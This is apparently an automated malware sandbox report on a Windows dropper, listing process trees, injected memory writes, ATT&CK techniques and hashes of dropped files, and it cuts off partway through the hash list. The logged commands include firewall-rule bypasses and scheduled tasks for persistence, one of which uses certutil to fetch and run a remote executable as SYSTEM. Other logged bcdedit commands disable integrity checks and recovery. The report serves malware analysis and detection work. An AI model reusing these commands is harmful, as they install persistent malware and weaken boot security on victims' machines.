9e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	csrss.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2652	6c5acb0a43a76024422d3f9c8b01cf8a.exe
2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe
2600	csrss.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe
1532	injector.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
480	Process not Found

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Token: SeImpersonatePrivilege	2652	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Token: SeSystemEnvironmentPrivilege	2600	csrss.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 2736	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	35
PID 2704 wrote to memory of 2736	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	35
PID 2704 wrote to memory of 2736	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	35
PID 2704 wrote to memory of 2736	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	35
PID 2736 wrote to memory of 2800	2736	cmd.exe	33
PID 2736 wrote to memory of 2800	2736	cmd.exe	33
PID 2736 wrote to memory of 2800	2736	cmd.exe	33
PID 2704 wrote to memory of 2600	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	36
PID 2704 wrote to memory of 2600	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	36
PID 2704 wrote to memory of 2600	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	36
PID 2704 wrote to memory of 2600	2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe	36
PID 2044 wrote to memory of 1608	2044	patch.exe	48
PID 2044 wrote to memory of 1608	2044	patch.exe	48
PID 2044 wrote to memory of 1608	2044	patch.exe	48
PID 2044 wrote to memory of 2420	2044	patch.exe	52
PID 2044 wrote to memory of 2420	2044	patch.exe	52
PID 2044 wrote to memory of 2420	2044	patch.exe	52
PID 2044 wrote to memory of 2332	2044	patch.exe	49
PID 2044 wrote to memory of 2332	2044	patch.exe	49
PID 2044 wrote to memory of 2332	2044	patch.exe	49
PID 2044 wrote to memory of 3008	2044	patch.exe	76
PID 2044 wrote to memory of 3008	2044	patch.exe	76
PID 2044 wrote to memory of 3008	2044	patch.exe	76
PID 2044 wrote to memory of 2672	2044	patch.exe	53
PID 2044 wrote to memory of 2672	2044	patch.exe	53
PID 2044 wrote to memory of 2672	2044	patch.exe	53
PID 2044 wrote to memory of 1980	2044	patch.exe	73
PID 2044 wrote to memory of 1980	2044	patch.exe	73
PID 2044 wrote to memory of 1980	2044	patch.exe	73
PID 2044 wrote to memory of 2960	2044	patch.exe	57
PID 2044 wrote to memory of 2960	2044	patch.exe	57
PID 2044 wrote to memory of 2960	2044	patch.exe	57
PID 2044 wrote to memory of 2064	2044	patch.exe	55
PID 2044 wrote to memory of 2064	2044	patch.exe	55
PID 2044 wrote to memory of 2064	2044	patch.exe	55
PID 2044 wrote to memory of 540	2044	patch.exe	71
PID 2044 wrote to memory of 540	2044	patch.exe	71
PID 2044 wrote to memory of 540	2044	patch.exe	71
PID 2044 wrote to memory of 708	2044	patch.exe	69
PID 2044 wrote to memory of 708	2044	patch.exe	69
PID 2044 wrote to memory of 708	2044	patch.exe	69
PID 2044 wrote to memory of 792	2044	patch.exe	67
PID 2044 wrote to memory of 792	2044	patch.exe	67
PID 2044 wrote to memory of 792	2044	patch.exe	67
PID 2044 wrote to memory of 1040	2044	patch.exe	65
PID 2044 wrote to memory of 1040	2044	patch.exe	65
PID 2044 wrote to memory of 1040	2044	patch.exe	65
PID 2044 wrote to memory of 1760	2044	patch.exe	63
PID 2044 wrote to memory of 1760	2044	patch.exe	63
PID 2044 wrote to memory of 1760	2044	patch.exe	63
PID 2600 wrote to memory of 1924	2600	csrss.exe	59
PID 2600 wrote to memory of 1924	2600	csrss.exe	59
PID 2600 wrote to memory of 1924	2600	csrss.exe	59
PID 2600 wrote to memory of 1924	2600	csrss.exe	59
PID 2600 wrote to memory of 2292	2600	csrss.exe	61
PID 2600 wrote to memory of 2292	2600	csrss.exe	61
PID 2600 wrote to memory of 2292	2600	csrss.exe	61
PID 2600 wrote to memory of 2292	2600	csrss.exe	61
PID 2600 wrote to memory of 1532	2600	csrss.exe	77
PID 2600 wrote to memory of 1532	2600	csrss.exe	77
PID 2600 wrote to memory of 1532	2600	csrss.exe	77
PID 2600 wrote to memory of 1532	2600	csrss.exe	77

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe
"C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652
- C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe
  "C:\Users\Admin\AppData\Local\Temp\6c5acb0a43a76024422d3f9c8b01cf8a.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2736
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe /197-197
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Manipulates WinMon driver.
    - Manipulates WinMonFS driver.
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:2848
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:1028
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:2044
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1608
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2332
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2420
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2672
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2064
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2960
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1760
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1040
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:792
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:708
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:540
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1980
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3008
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1924
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      Executes dropped EXE
      PID:2292
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1532

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240121043116.log C:\Windows\Logs\CBS\CbsPersist_20240121043116.cab
1⤵
- Drops file in Windows directory
PID:2944

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

download.error

Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
Size 663KB
SHA256 03ab2dd1b3ff3c47352c058eebfbb7594e443c3d20e92cb4f0a2ceb8f96fc9cf
MD5 6eba18dc0596edbae57e25ee5b56b538
SHA1 e73dca11a91e9bcb9bfd5dea139922b0050ec917
SHA512 d546ff182af9b479348ac4f1f2d96bd5e14c7d61ce4b33f5776594474656c012f341fbe48f1d0b9e9c49f316d4f55081885f2e7b6ec00a0e3adfbc6ba09ca28b
SSDEEP 12288:6/7rNMoVDSbs/Va4DShM9EFXgCAh2OZTBxXB69AvoWZxAI:efNMaSKPqyEFXShbZTfXB6G4I
MD5 SHA1 SHA512 SSDEEP

Submit Download

download.error

Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
Size 395KB
SHA256 f18fdb9e03546bfb98397bcb8378b505eaf4ac061749229a7ee92a1c3cf156e4
MD5 5da3a881ef991e8010deed799f1a5aaf
SHA1 fea1acea7ed96d7c9788783781e90a2ea48c1a53
SHA512 24fbcb5353a3d51ee01f1de1bbb965f9e40e0d00e52c42713d446f12edceeb8d08b086a8687a6188decaa8f256899e24a06c424d8d73adaad910149a9c45ef09
SSDEEP 6144:Fi9U6MrSZriIaHz50n885+dfVNuYrJNIil/r1+:FR6RMIaT50n88iG2Nf/5
MD5 SHA1 SHA512 SSDEEP

Submit Download

dsefix.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Size 94KB
SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
MD5 d98e78fd57db58a11f880b45bb659767
SHA1 ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA512 aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
SSDEEP 1536:KNSuvn3R+Vjj3d38uezp0Dw+49tKMgVxAlIi8:ah+Vjj3d38uezp0U9vgLAy
MD5 SHA1 SHA512 SSDEEP

Submit Download

patch.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Size 115KB
SHA256 b5ff3283ddbb831fbc06ce2043819322d0091e6dacfcdc86e9678566218b43df
MD5 0b925af41d44ad0c3950b1c0bc1b50d0
SHA1 f9c71a83c23735fa9b60f896ad07a180be193619
SHA512 42221d411e822548ee2c812ce1541a5e54f0f436a1c789c0706d8e98c890402354ea5d9cf1418334bd02bb61797a1dfc682fe73009a0de1c7607ac9c27b5ea5d
SSDEEP 3072:aDYE0IkKlnalYoY1m6ydQuprenFn39gFlsJon96sPYV6u:XE0JKlnalNYvRuBenx9gFlsJA9PA
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 282KB
SHA256 4557ce3b2ba6bae227ba66eb0e6d3799556d87c7b19d9b92f9c51c6984f1e28f
MD5 841f6e1e4fa09de25aaacba750619088
SHA1 94cde4da84d0e87735d670a7d502c461500e0bf0
SHA512 529a3fa6b0b019bfa52f0a5d6f49b8f2c250b8d08ba00e966c4e400590e7c4782c31be3263a3855bdc9613ec7b2add9d152284ab2c8a8af68ef2cb53697fe266
SSDEEP 6144:l5/Kk18tWPf8ZH9FvgxGXXA5juZ3GhvCZ7X5g7hq/9k:XKTWn6d9ZyjxCNy78W
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path C:\Users\Admin\AppData\Local\Temp\osloader.exe
Size 396KB
SHA256 25ee77e273e7d7d59093e5f90b10837043393d1b4136717195941ffcc7bb6b98
MD5 c08c3a9a2969cbf3d9bee36dec7e4548
SHA1 de586a6101c61b4b8e1c10fabe4e86f42f2b184e
SHA512 919e3867e6bc1dfddd6c2d09be2ddbc28d763d70f4dc278ea65fc571fd2eb4024ad59afe9a8394c37f7d48b4cf5cd7b66dad833654cb2133ad09fbc28161f562
SSDEEP 6144:Qd3Q107lZ1cwtsx41mxOouKsArVb6gRzVSwvBWzHqS3Vlwf1PKT3Wqev7VJluioJ:g3SAVNtsCiPdRpuHq83wf1PKWZlZM
MD5 SHA1 SHA512 SSDEEP

Submit Download

F0ACCF77CDCBFF39F6191887F6D2D357

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
Size 1KB
SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
MD5 a266bb7dcc38a562631361bbf61dd11b
SHA1 3b1efd3a66ea28b16697394703a72ca340a05bd5
SHA512 0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 6f1198a4cbfe5e7363cbc656a1a700c82b8306545855a077ad8f7e661308ff18
MD5 efec54a048559c8f6e53302d9741aabf
SHA1 bb2f64713c9eb2d3f7c79e92901b3bb97bdcb973
SHA512 9e51c7a19f35cbc29db69dfc3137ab1a7cc6040d7d3c201a3ec29d94ce0fd523af2b18bafb868a354126d08edc6be9425a9ee550dc82e02024df701b63b05a06
MD5 SHA1 SHA512

Submit Download

F0ACCF77CDCBFF39F6191887F6D2D357

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Size 242B
SHA256 4123cfce0890e282a96f39b13f5a492a71fd1b1f0a8b2b445b678ef6a758620e
MD5 e0fd26d66afb89c4b179feb37c10f31c
SHA1 7eacd89c9b5ee20eb5b796c0b823fd9c5aa45e69
SHA512 7175d94296f57ecc95bd340caaf8bc38e583df2a2de6079a3047bcbfa082d036484938b748741f8e678f39eb8477ea2791ca45c7301a07721b422504f126320f
MD5 SHA1 SHA512

Submit Download

F0ACCF77CDCBFF39F6191887F6D2D357

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Size 242B
SHA256 e8d13ac15e294253047fa293bbba36b18a4bb00b657b0d907d8fd604339e0acc
MD5 c9de0d6e365ee45d6a4b1c1008dc52c1
SHA1 91da8fda8de101d2f9e64cc5cb6ceead2d1bb0d2
SHA512 b9601e1f343d8abab451b084e3ff74d24962fb8120e43121e5e4e0fa1235b67531e98f5fc21ee7d8eefcbd466aef871611f84b4024bb3c050f85bdc3f517fc90
MD5 SHA1 SHA512

Submit Download

Cab47D9.tmp

Path C:\Windows\Temp\Cab47D9.tmp
Size 65KB
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar47DA.tmp

Path C:\Windows\Temp\Tar47DA.tmp
Size 171KB
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6mJp:+9J+q0RuXCyfdmAyru2/RAKtgp
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 719KB
SHA256 3a2c7febbc924541ee35e92de05bc19cb4bd3a34dc53783b365c14109c9b91dd
MD5 242c99c7449870e54d51fd6e60fb6b68
SHA1 b1ab83ef44ec199d14fe6d4a21f5201a03972205
SHA512 35526955f728715e0656348790f6b03fb364a2a9aaae94af7a4361b77868445f84448f55ca5230b7e0e056d05d87ed8edb5fa1e4edba36b0f505d1874c4e8032
SSDEEP 12288:7i0jKL4296Q6LuW2dY8gFcwDrgW9xGYBx3thkGHobkbon791krqht:+ym42hW8gFpHx9xdBx3thkGWrY+X
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 9KB
SHA256 f59d0381644f3732e24f7d7ed280db6ddb58b3bb13135b60ac41f3b02723cfe3
MD5 713c6d97c96b093d3e84ccb49a1010eb
SHA1 45ab79003193d170233a09a4ec2d5749a3925846
SHA512 77ce959e35d1ac9f3caa35f7b151661ebabb8f5bf1a9c59205a5ed9f33dae18c92f4f3fe8f54b990caa423addb240e913d38943b906c4b3d6d3ff09b45e35feb
SSDEEP 192:CYisf7TWw0E1qKV+htPqfcsLTeZhqpBH1WwHDSzdEmCwmQ7u4Mz:CMOpEwW+Zsve6j2qmCh/4Mz
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 126KB
SHA256 1aef000ceb98d424fbed188e9856191882ff60f322a4c0d889e50ebd03c13d8b
MD5 db3440624803bd8ea09149b158de3432
SHA1 39248e0ce21a31ba6f50afd91e73d0f83f180345
SHA512 77b79e5883b6cf36da4582dae8a2504a46db23814ef4d65f521232c456c22732895a90c37fd3a0f4a894a7fa45c50651d9cfcc57c9be3ed2f507f0c8ab947423
SSDEEP 3072:lLB3DuCN/xpWu7JwCC4jLG9JCbpViJEnfE:lLhie/xpr9wL429JcpQ6M
MD5 SHA1 SHA512 SSDEEP

Submit Download

injector.exe

Path \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 281KB
SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
MD5 d98e33b66343e7c96158444127a117f6
SHA1 bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA512 705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5 SHA1 SHA512 SSDEEP

Submit Download

patch.exe

Path \Users\Admin\AppData\Local\Temp\csrss\patch.exe
Size 168KB
SHA256 c36000cb5b809a5fc8f5b503b1cac618f9b740a0f9ba7388f478f177f50948d1
MD5 8c0eaf32f7fe8e306428caf903095e53
SHA1 fda2775c3212af115e752fc7c667ae5ccc052756
SHA512 fd4fb2e23eec1c36d368b13668473ed4bd97ba1de3208cf10bc17eb72d107f730904881e8468dd250d297e01f09e61483ca4fe4fa429ace7651490c755d92d2b
SSDEEP 3072:aDYE0IkKlnalYoY1m6ydQuprenFn39gFlsJon96sPYV6mnuuTlXhTDmvtkN:XE0JKlnalNYvRuBenx9gFlsJA9PYr1FT
MD5 SHA1 SHA512 SSDEEP

Submit Download

dbghelp.dll

Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
Size 73KB
SHA256 c1b5a4b7d9a181431e40b91fbf415857ea1d91d6672d2ad615e6c4c5d585a058
MD5 d1c7a85279a062631add95b38c870bf2
SHA1 69efe46f77abea3941329a83d40b0304a7b624b1
SHA512 1ea277dfffd29373eae1b9bae34512b5ccabed17ad3617358cb0a98e9487f33e5f0d18c571136ddc193f6ddf3742170381fd95b421f332b92d1b71f92e68f04c
SSDEEP 1536:/kgylZFQuqKrenrj5TsAWGt9gFlsJzcNdnhsQ6sPYfN694/SZ:7ydQuprenFn39gFlsJon96sPYV6r
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 148KB
SHA256 fd18d5d546beaebeb14948b64a71838e3ed751dd2556abec354be2eb2fe3d58a
MD5 910d761f8f5228eacc83d7eea8227ad4
SHA1 2aa72f7e3976843ac428067596d46b22ad4f4528
SHA512 c3e8a61e27fbf47f84a7768d9387c9130d9b2fedf6993ff95fdb9f4c1251d1ea37ab3b789f36a0d41d77aab0e50470aaddc14876adbcd33b6b2b69de44e4fde3
SSDEEP 3072:iQzM4n/KuPquKdA8trN0gMQiNttYXTZH9SWvcYcOEnxDstTXEKAPBjuj:l5/Kk18tWPf8ZH9FvgxGXXA5juj
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 235KB
SHA256 997f233cda2b84bac90e6770893f69d3329bfd8bbdbaf3c6616cc089cef25777
MD5 22243c51a8603a5f38e49f4d2fcda5e7
SHA1 6e3728ab9976a13b5530717b8e9b3f178106c9a6
SHA512 a70db298a78a10a069602e573503bb9001edd38e961bcc40d9cdef1d1d98be02ac20f24b3174dc2d2f3e3bc4245e5828bdb84f42482aabe5ca26d95f8731290f
SSDEEP 6144:l5/Kk18tWPf8ZH9FvgxGXXA5juZ3GhvCZ7X5g7w:XKTWn6d9ZyjxCNy7w
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 150KB
SHA256 5629cf688b2df609fb34240bbad52625c3e0d5d3cefa32b9fdc7b68b9bb501b6
MD5 2ed8babfa2ba3828f532fcb9ac878641
SHA1 8fff1faba67364c5074b169443fe3a1a15f4eea1
SHA512 f330d7f0400eae354cb3272ed34f27c8b2701ca0a8df8de47cb0469edadd8d2b02705461f71c457369c3e44c80af66cd07985822988b9856d4185aa8f454421b
SSDEEP 3072:iQzM4n/KuPquKdA8trN0gMQiNttYXTZH9SWvcYcOEnxDstTXEKAPBju2:l5/Kk18tWPf8ZH9FvgxGXXA5ju2
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path \Users\Admin\AppData\Local\Temp\osloader.exe
Size 436KB
SHA256 e311ad2817b714ef5c7775a78a8f24a5129c7f7b7b301ad36c06acc301531f0c
MD5 c2c11a7eb1bfdb2dbbc31e4df531a007
SHA1 786faf7f9ca6ef2c82c2fafac81b6e83a21f022f
SHA512 da83f649b7d642f91089c782f42d2737066645dc97b845337a2953d9ddca4c0e4c1eebded574d19c9517cba95560da36167429786678fc761197856e34184dbb
SSDEEP 6144:Qd3Q107lZ1cwtsx41mxOouKsArVb6gRzVSwvBWzHqS3Vlwf1PKT3Wqev7VJluiov:g3SAVNtsCiPdRpuHq83wf1PKWZlZQUUr
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path \Users\Admin\AppData\Local\Temp\osloader.exe
Size 422KB
SHA256 e744eca12d480940645a744de440f9a19b0191cad23de38caa0339fdca87f306
MD5 201fe3690f188888582b0b7f7e761f3c
SHA1 c01a21ff100aa147b074820e40f324840dde962b
SHA512 df6f9a601008f54909ba1161bd5ddbc1957d678cb9e45b363e6ba35e9bca3489e6337e8f483cf33845e0cd579be527b4263389d41295aea0eed39bf846d8ce63
SSDEEP 6144:Qd3Q107lZ1cwtsx41mxOouKsArVb6gRzVSwvBWzHqS3Vlwf1PKT3Wqev7VJluion:g3SAVNtsCiPdRpuHq83wf1PKWZlZQUU7
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path \Users\Admin\AppData\Local\Temp\osloader.exe
Size 487KB
SHA256 c05ea6b2409c3a7f8c3244356297c36ad7adcc814de4679639227303fec80359
MD5 02591e734a7c53e6d92682398c852433
SHA1 b8116b6b626bd7a4feab769943d7ac813cbb83fb
